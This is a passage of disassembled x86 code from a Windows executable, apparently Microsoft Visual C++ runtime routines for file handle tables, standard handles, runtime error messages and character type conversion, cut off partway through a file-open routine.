loc_41F3CE:				; CODE XREF: sub_41F2EA+90j
					; sub_41F2EA+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F41A

loc_41F3D4:				; CODE XREF: sub_41F2EA+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F411
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F411
		test	cl, 8
		jnz	short loc_41F3F3
		push	eax
		call	dword_423030	; GetFileType
		test	eax, eax
		jz	short loc_41F411

loc_41F3F3:				; CODE XREF: sub_41F2EA+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48A7E0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_41F411:				; CODE XREF: sub_41F2EA+EFj
					; sub_41F2EA+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F3D4

loc_41F41A:				; CODE XREF: sub_41F2EA+65j
					; sub_41F2EA+71j ...
		xor	ebx, ebx

loc_41F41C:				; CODE XREF: sub_41F2EA+195j
		mov	eax, dword_48A7E0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F477
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F437
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F441
; ---------------------------------------------------------------------------

loc_41F437:				; CODE XREF: sub_41F2EA+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_41F441:				; CODE XREF: sub_41F2EA+14Bj
		push	eax
		call	dword_423034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F466
		push	edi
		call	dword_423030	; GetFileType
		test	eax, eax
		jz	short loc_41F466
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F46C

loc_41F466:				; CODE XREF: sub_41F2EA+163j
					; sub_41F2EA+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F47B
; ---------------------------------------------------------------------------

loc_41F46C:				; CODE XREF: sub_41F2EA+17Aj
		cmp	eax, 3
		jnz	short loc_41F47B
		or	byte ptr [esi+4], 8
		jmp	short loc_41F47B
; ---------------------------------------------------------------------------

loc_41F477:				; CODE XREF: sub_41F2EA+13Ej
		or	byte ptr [esi+4], 80h

loc_41F47B:				; CODE XREF: sub_41F2EA+180j
					; sub_41F2EA+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F41C
		push	dword_48A8E0
		call	dword_423038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41F2EA	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4A0	proc near		; DATA XREF: sub_4198E4+Ao
					; sub_41CCF1+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F540
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_41F4D3:				; CODE XREF: sub_41F4A0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F539
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F527
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F527
		js	short loc_41F532
		mov	edi, [ebx+8]
		push	ebx
		call	sub_417EA0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_417EE2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_417F76
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_41F527:				; CODE XREF: sub_41F4A0+40j
					; sub_41F4A0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F4D3
; ---------------------------------------------------------------------------

loc_41F532:				; CODE XREF: sub_41F4A0+54j
		mov	eax, 0
		jmp	short loc_41F555
; ---------------------------------------------------------------------------

loc_41F539:				; CODE XREF: sub_41F4A0+36j
		mov	eax, 1
		jmp	short loc_41F555
; ---------------------------------------------------------------------------

loc_41F540:				; CODE XREF: sub_41F4A0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_417EE2
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_41F555:				; CODE XREF: sub_41F4A0+97j
					; sub_41F4A0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F4A0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_417EE2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F578	proc near		; CODE XREF: sub_4199DA+9p
					; sub_4199FF+9p
		mov	eax, dword_489500
		cmp	eax, 1
		jz	short loc_41F58F
		test	eax, eax
		jnz	short locret_41F5B0
		cmp	dword_438A74, 1
		jnz	short locret_41F5B0

loc_41F58F:				; CODE XREF: sub_41F578+8j
		push	0FCh
		call	sub_41F5B1
		mov	eax, dword_48966C
		pop	ecx
		test	eax, eax
		jz	short loc_41F5A5
		call	eax

loc_41F5A5:				; CODE XREF: sub_41F578+29j
		push	0FFh
		call	sub_41F5B1
		pop	ecx

locret_41F5B0:				; CODE XREF: sub_41F578+Cj
					; sub_41F578+15j
		retn
sub_41F578	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5B1	proc near		; CODE XREF: sub_4199DA+12p
					; sub_4199FF+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43B108

loc_41F5C4:				; CODE XREF: sub_41F5B1+20j
		cmp	edx, [eax]
		jz	short loc_41F5D3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43B198
		jl	short loc_41F5C4

loc_41F5D3:				; CODE XREF: sub_41F5B1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43B108[esi]
		jnz	loc_41F701
		mov	eax, dword_489500
		cmp	eax, 1
		jz	loc_41F6DB
		test	eax, eax
		jnz	short loc_41F604
		cmp	dword_438A74, 1
		jz	loc_41F6DB

loc_41F604:				; CODE XREF: sub_41F5B1+44j
		cmp	edx, 0FCh
		jz	loc_41F701
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_423094	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41F63B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4176C0
		pop	ecx
		pop	ecx

loc_41F63B:				; CODE XREF: sub_41F5B1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_4177B0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F67E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4177B0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418910
		add	esp, 10h

loc_41F67E:				; CODE XREF: sub_41F5B1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4176C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4176D0
		lea	eax, [ebp+var_A0]
		push	offset asc_423BA0 ; "\n\n"
		push	eax
		call	sub_4176D0
		push	off_43B10C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4176D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_420D8F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F701
; ---------------------------------------------------------------------------

loc_41F6DB:				; CODE XREF: sub_41F5B1+3Cj
					; sub_41F5B1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43B10C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_4177B0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_423034	; GetStdHandle
		push	eax
		call	dword_42307C	; WriteFile

loc_41F701:				; CODE XREF: sub_41F5B1+2Ej
					; sub_41F5B1+59j ...
		pop	esi
		leave
		retn
sub_41F5B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F704	proc near		; CODE XREF: sub_419A23+6Cp
					; sub_41DF48+32p ...

arg_0		= dword	ptr  4

		inc	dword_489670
		push	1000h
		call	sub_417889
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41F72D
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41F73E
; ---------------------------------------------------------------------------

loc_41F72D:				; CODE XREF: sub_41F704+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_41F73E:				; CODE XREF: sub_41F704+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F704	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F748	proc near		; CODE XREF: sub_419A23+61p
					; sub_41A5A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48A8E0
		jb	short loc_41F757
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F748+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48A7E0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41F748	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F76E	proc near		; DATA XREF: .data:00425020o
		mov	eax, dword_48A7C0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41F782
		mov	eax, 200h
		jmp	short loc_41F788
; ---------------------------------------------------------------------------

loc_41F782:				; CODE XREF: sub_41F76E+Bj
		cmp	eax, esi
		jge	short loc_41F78D
		mov	eax, esi

loc_41F788:				; CODE XREF: sub_41F76E+12j
		mov	dword_48A7C0, eax

loc_41F78D:				; CODE XREF: sub_41F76E+16j
		push	4
		push	eax
		call	sub_420E18
		pop	ecx
		mov	dword_4897A8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41F7C1
		push	4
		push	esi
		mov	dword_48A7C0, esi
		call	sub_420E18
		pop	ecx
		mov	dword_4897A8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41F7C1
		push	1Ah
		call	sub_4199DA
		pop	ecx

loc_41F7C1:				; CODE XREF: sub_41F76E+30j
					; sub_41F76E+49j
		xor	ecx, ecx
		mov	eax, offset off_43B198

loc_41F7C8:				; CODE XREF: sub_41F76E+6Ej
		mov	edx, dword_4897A8
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43B418
		jl	short loc_41F7C8
		xor	edx, edx
		mov	ecx, offset dword_43B1A8

loc_41F7E5:				; CODE XREF: sub_41F76E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_48A7E0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F802
		test	eax, eax
		jnz	short loc_41F805

loc_41F802:				; CODE XREF: sub_41F76E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_41F805:				; CODE XREF: sub_41F76E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43B208
		jl	short loc_41F7E5
		pop	esi
		retn
sub_41F76E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F813	proc near		; DATA XREF: .data:00425030o

; FUNCTION CHUNK AT 00420EC9 SIZE 00000058 BYTES

		call	sub_41A52C
		cmp	byte_4894EC, 0
		jz	short locret_41F826
		jmp	loc_420EC9
; ---------------------------------------------------------------------------

locret_41F826:				; CODE XREF: sub_41F813+Cj
		retn
sub_41F813	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F827	proc near		; CODE XREF: sub_419B38+2D4p
					; sub_419B38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41F833
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41F833:				; CODE XREF: sub_41F827+8j
		cmp	dword_489540, 0
		jnz	short loc_41F84E
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41F880
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41F84E:				; CODE XREF: sub_41F827+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_438C8C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_489550
		call	dword_423150	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41F880
		cmp	[ebp+arg_0], 0
		jz	short loc_41F88D

loc_41F880:				; CODE XREF: sub_41F827+1Ej
					; sub_41F827+51j
		mov	dword_4894AC, 2Ah
		or	eax, 0FFFFFFFFh

loc_41F88D:				; CODE XREF: sub_41F827+57j
		pop	ebp
		retn
sub_41F827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F88F	proc near		; CODE XREF: sub_41A342+5Ep
					; sub_41E897+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423BE0
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_489674
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41F8FE
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4238D0
		push	esi
		call	dword_423028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41F8DC
		mov	eax, esi
		jmp	short loc_41F8F9
; ---------------------------------------------------------------------------

loc_41F8DC:				; CODE XREF: sub_41F88F+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43BCF8
		push	esi
		push	ebx
		call	dword_42302C	; GetStringTypeA
		test	eax, eax
		jz	loc_41F9C4
		push	2
		pop	eax

loc_41F8F9:				; CODE XREF: sub_41F88F+4Bj
		mov	dword_489674, eax

loc_41F8FE:				; CODE XREF: sub_41F88F+2Fj
		cmp	eax, 2
		jnz	short loc_41F927
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41F90F
		mov	eax, dword_489540

loc_41F90F:				; CODE XREF: sub_41F88F+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_42302C	; GetStringTypeA
		jmp	loc_41F9C6
; ---------------------------------------------------------------------------

loc_41F927:				; CODE XREF: sub_41F88F+72j
		cmp	eax, 1
		jnz	loc_41F9C4
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41F93D
		mov	eax, dword_489550
		mov	[ebp+arg_10], eax

loc_41F93D:				; CODE XREF: sub_41F88F+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_423070	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41F9C4
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417830
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417030
		add	esp, 0Ch
		jmp	short loc_41F993
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_41F993:				; CODE XREF: sub_41F88F+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41F9C4
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_423070	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41F9C4
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_423028	; GetStringTypeW
		jmp	short loc_41F9C6
; ---------------------------------------------------------------------------

loc_41F9C4:				; CODE XREF: sub_41F88F+61j
					; sub_41F88F+9Bj ...
		xor	eax, eax

loc_41F9C6:				; CODE XREF: sub_41F88F+93j
					; sub_41F88F+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F88F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_41FBF2:loc_41FD6Ap
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_48A7E0

loc_41F9E7:				; CODE XREF: sub_41F9D8+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FA24
		lea	edx, [eax+100h]

loc_41F9F3:				; CODE XREF: sub_41F9D8+28j
		cmp	eax, edx
		jnb	short loc_41FA13
		test	byte ptr [eax+4], 1
		jz	short loc_41FA02
		add	eax, 8
		jmp	short loc_41F9F3
; ---------------------------------------------------------------------------

loc_41FA02:				; CODE XREF: sub_41F9D8+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FA67

loc_41FA13:				; CODE XREF: sub_41F9D8+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_48A8E0
		jl	short loc_41F9E7
		jmp	short loc_41FA67
; ---------------------------------------------------------------------------

loc_41FA24:				; CODE XREF: sub_41F9D8+13j
		mov	esi, 100h
		push	esi
		call	sub_417889
		test	eax, eax
		pop	ecx
		jz	short loc_41FA67
		add	dword_48A8E0, 20h
		lea	ecx, ds:48A7E0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_41FA4A:				; CODE XREF: sub_41F9D8+88j
		cmp	eax, edx
		jnb	short loc_41FA62
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FA4A
; ---------------------------------------------------------------------------

loc_41FA62:				; CODE XREF: sub_41F9D8+74j
		shl	edi, 5
		mov	ebx, edi

loc_41FA67:				; CODE XREF: sub_41F9D8+39j
					; sub_41F9D8+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA6D	proc near		; CODE XREF: sub_41FBF2+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48A8E0
		push	edi
		jnb	short loc_41FACD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48A7E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FACD
		cmp	dword_438A74, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FAC3
		sub	eax, 0
		jz	short loc_41FABA
		dec	eax
		jz	short loc_41FAB5
		dec	eax
		jnz	short loc_41FAC3
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FABD
; ---------------------------------------------------------------------------

loc_41FAB5:				; CODE XREF: sub_41FA6D+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FABD
; ---------------------------------------------------------------------------

loc_41FABA:				; CODE XREF: sub_41FA6D+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_41FABD:				; CODE XREF: sub_41FA6D+46j
					; sub_41FA6D+4Bj
		call	dword_423024	; SetStdHandle

loc_41FAC3:				; CODE XREF: sub_41FA6D+36j
					; sub_41FA6D+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FAE1
; ---------------------------------------------------------------------------

loc_41FACD:				; CODE XREF: sub_41FA6D+Cj
					; sub_41FA6D+28j
		and	dword_4894B0, 0
		mov	dword_4894AC, 9
		or	eax, 0FFFFFFFFh

loc_41FAE1:				; CODE XREF: sub_41FA6D+5Ej
		pop	edi
		pop	esi
		retn
sub_41FA6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE4	proc near		; CODE XREF: sub_41A3B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_48A8E0
		push	edi
		jnb	short loc_41FB47
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:48A7E0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FB47
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FB47
		cmp	dword_438A74, 1
		jnz	short loc_41FB3D
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FB34
		dec	ecx
		jz	short loc_41FB2F
		dec	ecx
		jnz	short loc_41FB3D
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FB37
; ---------------------------------------------------------------------------

loc_41FB2F:				; CODE XREF: sub_41FAE4+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FB37
; ---------------------------------------------------------------------------

loc_41FB34:				; CODE XREF: sub_41FAE4+3Ej
		push	eax
		push	0FFFFFFF6h

loc_41FB37:				; CODE XREF: sub_41FAE4+49j
					; sub_41FAE4+4Ej
		call	dword_423024	; SetStdHandle

loc_41FB3D:				; CODE XREF: sub_41FAE4+38j
					; sub_41FAE4+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FB5B
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41FAE4+Cj
					; sub_41FAE4+2Aj ...
		and	dword_4894B0, 0
		mov	dword_4894AC, 9
		or	eax, 0FFFFFFFFh

loc_41FB5B:				; CODE XREF: sub_41FAE4+61j
		pop	edi
		pop	esi
		retn
sub_41FAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB5E	proc near		; CODE XREF: sub_41A3B7+32p
					; sub_41A3B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48A8E0
		jnb	short loc_41FB86
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48A7E0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FB86
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_41FB86:				; CODE XREF: sub_41FB5E+Aj
					; sub_41FB5E+23j
		and	dword_4894B0, 0
		mov	dword_4894AC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FB5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB9B	proc near		; CODE XREF: sub_41A495+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48A8E0
		jnb	short loc_41FBE4
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_48A7E0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FBE4
		push	eax
		call	sub_41FB5E
		pop	ecx
		push	eax
		call	dword_423020	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41FBD9
		call	dword_42308C	; RtlGetLastWin32Error
		jmp	short loc_41FBDB
; ---------------------------------------------------------------------------

loc_41FBD9:				; CODE XREF: sub_41FB9B+34j
		xor	eax, eax

loc_41FBDB:				; CODE XREF: sub_41FB9B+3Cj
		test	eax, eax
		jz	short locret_41FBF1
		mov	dword_4894B0, eax

loc_41FBE4:				; CODE XREF: sub_41FB9B+Aj
					; sub_41FB9B+22j
		mov	dword_4894AC, 9
		or	eax, 0FFFFFFFFh

locret_41FBF1:				; CODE XREF: sub_41FB9B+42j
		retn
sub_41FB9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBF2	proc near		; CODE XREF: sub_41A66C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FC18
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC18:				; CODE XREF: sub_41FBF2+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_41FC23:				; CODE XREF: sub_41FBF2+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FC3D
		test	ch, 40h
		jnz	short loc_41FC39
		cmp	dword_489780, eax
		jz	short loc_41FC3D

loc_41FC39:				; CODE XREF: sub_41FBF2+3Dj
		or	[ebp+var_1], 80h

loc_41FC3D:				; CODE XREF: sub_41FBF2+38j
					; sub_41FBF2+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FC75
		dec	eax
		jz	short loc_41FC6C
		dec	eax
		jz	short loc_41FC63

loc_41FC4E:				; CODE XREF: sub_41FBF2+9Fj
					; sub_41FBF2+E8j ...
		mov	dword_4894AC, 16h
		mov	dword_4894B0, ebx
		jmp	loc_41FE88
; ---------------------------------------------------------------------------

loc_41FC63:				; CODE XREF: sub_41FBF2+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FC7C
; ---------------------------------------------------------------------------

loc_41FC6C:				; CODE XREF: sub_41FBF2+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FC7C
; ---------------------------------------------------------------------------

loc_41FC75:				; CODE XREF: sub_41FBF2+54j
		mov	[ebp+var_C], 80000000h

loc_41FC7C:				; CODE XREF: sub_41FBF2+78j
					; sub_41FBF2+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FCAA
		cmp	eax, 20h
		jz	short loc_41FCA1
		cmp	eax, 30h
		jz	short loc_41FC98
		cmp	eax, 40h
		jnz	short loc_41FC4E
		mov	[ebp+var_10], esi
		jmp	short loc_41FCAD
; ---------------------------------------------------------------------------

loc_41FC98:				; CODE XREF: sub_41FBF2+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FCAD
; ---------------------------------------------------------------------------

loc_41FCA1:				; CODE XREF: sub_41FBF2+95j
